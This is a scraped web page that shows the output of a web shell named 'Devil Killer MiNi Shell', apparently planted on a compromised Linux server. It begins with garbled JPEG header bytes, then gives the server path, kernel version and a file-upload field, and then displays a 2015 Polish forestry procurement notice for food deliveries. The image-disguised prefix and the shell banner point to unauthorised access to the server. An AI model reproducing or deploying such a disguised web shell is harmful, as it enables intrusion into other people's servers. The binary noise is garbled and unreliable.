JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20150121/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20150121/8887-N-2015.html

<p class="kh_header"><b>Gryfice: Dostawa artykułów spożywczych do Ośrodka Szkoleniowo Wypoczynkowego Lasów Państwowych Bażyna w Pogorzelicy</b><br>
<b>Numer ogłoszenia: 8887 - 2015; data zamieszczenia: 21.01.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Państwowe Gospodarstwo Leśne Lasy Państwowe Nadleśnictwo Gryfice , Osada Zdrój 1, 72-300 Gryfice, tel. 091 3843321; 3842516.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.gryfice.szczecin.lasy.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Skarb Państwa Państwowe Gospodarstwo Leśne Lasy Państwowe Nadleśnictwo Gryfice..</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa artykułów spożywczych do Ośrodka Szkoleniowo Wypoczynkowego Lasów Państwowych Bażyna w Pogorzelicy.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest dostawa artykułów spożywczych do Ośrodka Szkoleniowo Wypoczynkowego Lasów Państwowych w Pogorzelicy, ul. Wojska Polskiego 15, 71-351 Pogorzelica.
Przedmiot zamówienia podzielony jest na 9 części:

Część Nr 1 - Dostawa jaj 
Część Nr 2 - Dostawa produktów nabiałowych
Część Nr 3 - Dostawa pieczywa świeżego i ciast  
Część Nr 4 - Dostawa warzyw i owoców 
Część Nr 5 - Dostawa mięsa, drobiu i wędlin 
Część Nr 6 - Dostawa produktów suchych i konserwowych 
Część Nr 7 - Dostawa napojów, soków i wody
Część Nr 8 - Dostawa produktów mrożonych
Część Nr 9 - Dostawa ryb i ich przetworów  

Szczegółowy opis przedmiotu  zamówienia dla poszczególnych części zamówienia podano w Załączniku nr 2A do 2I do Specyfikacji Istotnych Warunków Zamówienia (zwanej dalej SIWZ). W załączniku nr 2A do 2I podano maksymalne ilości poszczególnych artykułów spożywczych. Zamawiający zastrzega sobie prawo do zmniejszenia ilości zamawianych artykułów spożywczych w przypadku zaistnienia okoliczności uzasadnionych gospodarczym interesem Zamawiającego, w szczególności braku zapotrzebowania na dane artykuły  z powodu niższej niż planowana liczby gości Ośrodka Szkoleniowo Wypoczynkowego Lasów Państwowych Bażyna w Pogorzelicy w danym roku. Zmniejszenie ilości zamawianych artykułów spożywczych z ww. przyczyn nie stanowi niewykonania lub nienależytego wykonania umowy, a w związku z tym nie jest podstawą do dochodzenia jakichkolwiek roszczeń w stosunku do Zamawiającego.
3.6.	Artykuły spożywcze stanowiące Przedmiot umowy powinny być wytwarzane/ przetwarzane i przewożone zgodnie z przepisami ustawy  z dnia 25 sierpnia 2006 r.
o bezpieczeństwie żywności i żywienia (t.j. Dz.U. 2010, Nr 136, poz. 914 ze zm.)..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 03.14.25.00-3, 15.50.00.00-3, 15.81.00.00-9, 15.84.23.00-5, 15.30.00.00-1, 15.10.00.00-9, 15.11.20.00-6, 15.11.30.00-3, 15.11.11.00-0, 15.80.00.00-6, 15.89.40.00-1, 15.84.23.00-5, 15.30.00.00-1, 15.87.00.00-7, 15.98.00.00-1, 15.98.20.00-5, 15.32.10.00-4, 15.98.10.00-8, 15.33.11.70-9, 15.11.20.00-6, 15.22.00.00-6.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 9.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2015.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający wymaga wniesienia wadium w wysokości:
Część Nr  1 - Dostawa jaj - 100,00 zł
Część Nr  2  - Dostawa produktów nabiałowych   - 500,00 zł
Część Nr  3 - Dostawa pieczywa świeżego i ciast - 200,00 zł
Część Nr  4 - Dostawa warzyw i owoców - 400,00 zł
Część Nr  5 - Dostawa mięsa i wędlin - 1.000,00 zł
Część Nr  6 - Dostawa produktów suchych i konserwowych - 600,00 zł
Część Nr  7 - Dostawa napojów, soków i wody - 300,00 zł
Część Nr  8 - Dostawa produktów mrożonych - 100,00 zł  
Część Nr  9 - Dostawa ryb i ich przetworów - 200,00 zł

Wadium może być wnoszone wedle wyboru Wykonawcy w jednej lub kilku następujących formach:
1)	pieniądzu
2)	poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowo - kredytowej, z tym że poręczenie kasy jest zawsze poręczeniem pieniężnym,
3)	gwarancjach bankowych
4)	gwarancjach ubezpieczeniowych;
5)	poręczeniach udzielanych przez podmioty, o których mowa w art. 6b ust. 5 pkt 2 ustawy z dnia 9 listopada 2000 r. o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (tekst jedn. Dz. U. z 2007 r. Nr 42, poz. 275, z późn. zm.).
Wadium wnoszone w pieniądzu należy wpłacić przed upływem terminu składania ofert przelewem na rachunek bankowy Zamawiającego: 
80 2030 0045 1110 0000 0054 4290 
z dopiskiem na blankiecie przelewu, jakiego postępowania dotyczy oraz której części. Wadium w formie gotówki nie będzie przyjmowane. Wadia wnoszone w innych formach niż pieniądz należy deponować w kasie w siedzibie zamawiającego (p.103).

Wadium należy wnieść przed upływem terminu składania ofert. W przypadku wniesienia wadium w pieniądzu, za moment wniesienia wadium uznaje się moment uznania rachunku Zamawiającego. 

W przypadku wniesienia wadium w innej formie niż pieniądz, termin ważności wystawionego dokumentu powinien być zgodny z terminem związania ofertą.

W przypadku wniesienia wadium w formie gwarancji/poręczenia, gwarancja/poręczenie powinna być sporządzona zgodnie z obowiązującym prawem i winna zawierać następujące elementy:
1)	nazwę dającego zlecenie (Wykonawcy), beneficjenta gwarancji/poręczenia (Zamawiającego), gwaranta (banku lub instytucji ubezpieczeniowej udzielających gwarancji/poręczenia) oraz wskazanie ich siedzib,
2)	określenie wierzytelności, która ma być zabezpieczona gwarancją/poręczeniem,
3)	kwotę gwarancji/poręczenia,
4)	zobowiązanie gwaranta/poręczyciela do bezwarunkowego zapłacenia kwoty gwarancji/poręczenia na pierwsze pisemne żądanie Zamawiającego w okolicznościach określonych w art. 46 ust. 4a PZP oraz art. 46 ust. 5 PZP. 

Zamawiający zwróci wadium wszystkim Wykonawcom niezwłocznie po wyborze oferty najkorzystniejszej lub unieważnieniu postępowania, z wyjątkiem Wykonawcy, którego oferta została wybrana jako najkorzystniejsza, z zastrzeżeniem art. 46 ust.4a PZP

Wykonawcy, którego oferta została wybrana jako najkorzystniejsza, Zamawiający zwraca wadium niezwłocznie po zawarciu umowy w sprawie zamówienia publicznego oraz wniesieniu zabezpieczenia należytego wykonania umowy, jeżeli jego wniesienia żądano.

Zamawiający zwraca niezwłocznie wadium, na wniosek Wykonawcy, który wycofał ofertę przed upływem terminu składania ofert.

Zamawiający żąda ponownego wniesienia wadium przez Wykonawcę, któremu zwrócono wadium na podstawie art.46 ust.1 PZP, jeżeli w wyniku rozstrzygnięcia odwołania jego oferta została wybrana jako najkorzystniejsza. Wykonawca wnosi wadium w terminie określonym przez Zamawiającego.

Jeżeli wadium wniesiono w pieniądzu, Zamawiający zwraca je wraz z odsetkami wynikającymi z umowy rachunku bankowego, na którym było ono przechowywane, pomniejszone o koszty prowadzenia rachunku bankowego oraz prowizji bankowej za przelew pieniędzy na rachunek bankowy wskazany przez Wykonawcę.

Zamawiający zatrzyma wadium wraz z odsetkami, jeżeli wykonawca, którego oferta została wybrana:
1)	odmówi podpisania umowy w sprawie zamówienia publicznego na warunkach określonych w ofercie;
2)	nie wniesie wymaganego zabezpieczenia należytego wykonania umowy;
3)	zawarcie umowy w sprawie zamówienia publicznego stało się niemożliwe 
z przyczyn leżących po stronie wykonawcy. 

Zamawiający zatrzymuje wadium wraz z odsetkami, jeżeli w odpowiedzi na wezwanie, o którym mowa w art. 26 ust. 3 PZP, z przyczyn leżących po jego stronie, nie złożył dokumentów lub oświadczeń, o których mowa w art. 25 ust.1 PZP, pełnomocnictw, listy podmiotów należących do tej samej grupy kapitałowej, o której mowa w art. 24 ust.2 pkt 5 PZP  lub informacji o tym, że nie należy do grupy kapitałowej, lub nie wyraził zgody na poprawienie omyłki, o której mowa w art. 87 ust. 2 pkt 3 PZP, co powodowało brak możliwości wybrania oferty złożonej przez wykonawcę jako najkorzystniejszej.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie stawia szczególnych wymagań w zakresie spełnienia tego warunku. Wykonawca potwierdza spełnienie tego warunku poprzez złożenie oświadczenia. Ocena spełnienia tego warunku będzie dokonywana na zasadzie spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony jeśli Wykonawca wykaże się wykonaniem w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy w tym okresie:
1)	dla części nr 1 - co najmniej trzech sukcesywnych dostaw jaj wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 50,00 zł brutto,
2)	ddla części nr 2 - co najmniej trzech sukcesywnych dostaw produktów nabiałowych wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 100,00 zł brutto,
3)	dla części nr 3 - co najmniej codziennej sukcesywnej dostawy świeżego pieczywa i ciast wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 20,00 zł brutto,

4)	dla części nr 4 - co najmniej trzech sukcesywnych dostaw warzyw lub owoców wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 80,00 zł brutto,

5)	dla części nr 5 - co najmniej trzech sukcesywnych dostaw mięsa i wędlin wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 100,00 zł brutto,

6)	dla części nr 6 - co najmniej trzech sukcesywnych dostaw produktów suchych i konserwowych wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 100,00 zł brutto,

7)	dla części nr 7 - co najmniej jednej sukcesywnej dostawy napojów wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 100,00 zł brutto.

8)	dla części nr 8 - co najmniej jednej sukcesywnej dostawy produktów mrożonych wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 250,00 zł brutto,

9)	dla części nr 9 - co najmniej dwóch sukcesywnych dostaw ryb i ich przetworów wraz z usługą transportu przedmiotu zamówienia do kupującego o wartości co najmniej 100,00 zł brutto,

Ocena spełnienia tego warunku będzie dokonywana na zasadzie spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie stawia szczególnych wymagań w zakresie spełnienia tego warunku. Wykonawca potwierdza spełnienie tego warunku poprzez złożenie oświadczenia. Ocena spełnienia tego warunku będzie dokonywana na zasadzie spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie stawia szczególnych wymagań w zakresie spełnienia tego warunku. Wykonawca potwierdza spełnienie tego warunku poprzez złożenie oświadczenia. Ocena spełnienia tego warunku będzie dokonywana na zasadzie spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna ten warunek za spełniony jeżeli Wykonawca wykaże, iż posiada środki finansowe lub zdolność kredytową w wysokości co najmniej:
1)	dla części nr 1 - 700,00 zł.
2)	dla części nr 2 - 3.500,00 zł,
3)	dla części nr 3 - 1.400,00 zł,
4)	dla części nr 4 - 3.300,00 zł,
5)	dla części nr 5 - 7.000,00 zł,
6)	dla części nr 6 - 4.500,00 zł,
7)	dla części nr 7 - 2.200,00 zł,
8)	dla części nr 8 - 800,00 zł,
9)	dla części nr 9 - 1.700,00 zł.
Ocena spełnienia tego warunku będzie dokonywana na zasadzie spełnia/nie spełnia</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">potwierdzenie posiadania uprawnień do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania, w szczególności koncesje, zezwolenia lub licencje;</li>

<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">informację banku lub spółdzielczej kasy oszczędnościowo-kredytowej potwierdzającą wysokość posiadanych środków finansowych lub zdolność kredytową wykonawcy, wystawioną nie wcześniej niż 3 miesiące przed upływem terminu składania ofert albo składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 95</li>
<li>2 - Częstotliwość dostaw - 5</li>
</ul>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Istotne zmiany postanowień zawartej Umowy w stosunku do treści oferty Wykonawcy, możliwe są w następującym zakresie i przy zaistnieniu poniższych przesłanek:
1) zmiana wynagrodzenia Wykonawcy w przypadku zmiany przepisów prawa podatkowego, w szczególności zmiany stawki podatku od towarów i usług,
2) zmiana terminu obowiązywania umowy możliwa jest w następujących przypadkach:
a)	przedłużenia się procedury udzielenia przedmiotowego zamówienia publicznego poprzez środki ochrony prawnej, wykorzystywane przez wykonawców lub inne podmioty,
b)	wystąpienia działań i zaniechań instytucji zaangażowanych w realizację, kontrolę lub finansowanie zamówienia,
c)	działania siły wyższej, za którą uważa się zdarzenia o charakterze nadzwyczajnym, występujące po zawarciu Umowy, a których Strony nie były w stanie przewidzieć w momencie jej zawierania i których zaistnienie lub skutki uniemożliwiają wykonanie Umowy zgodnie z jej treścią, w szczególności powódź, deszcz nawalny, pożar; Strona powołująca się na stan siły wyższej jest zobowiązana do niezwłocznego pisemnego powiadomienia drugiej Strony, a następnie do udokumentowania zaistnienia tego stanu,
d)	wystąpienia warunków atmosferycznych i klimatycznych uniemożliwiających realizację Przedmiotu Umowy w stopniu większym niż można byłoby to racjonalnie przewidywać,
e) wystąpienia powszechnej niedostępności surowców bądź materiałów,
f) niezrealizowania dostaw artykułów spożywczych stanowiących Przedmiot Umowy w ilości wskazanej w SIWZ w terminie obowiązywania Umowy.
3) powierzenie podwykonawcy realizacji części Umowy w zakresie nie przewidzianym w ofercie Wykonawcy - na uzasadniony wniosek Wykonawcy, za zgodą Zamawiającego.

W przypadku wystąpienia okoliczności, o których mowa w pkt 22.1. pkt 2 a-f ) termin wykonania umowy może ulec odpowiedniemu przedłużeniu, jednakże o czas nie dłuższy niż okres trwania tych okoliczności lub czas niezbędny do usunięcia zaistniałych przeszkód lub do zrealizowania dostaw w ilości wskazanej w SIWZ. 

Wszelkie zmiany wprowadzane do umowy dokonywane będą z poszanowaniem obowiązków wynikających z obowiązującego prawa, w tym w szczególności art. 140 
ust. 3 PZP oraz zasad ogólnych rządzących tą ustawą.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.gryfice.szczecin.lasy.gov.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Nadleśnictwo Gryfice, Osada Zdrój 1, 72-300 Gryfice..</p>
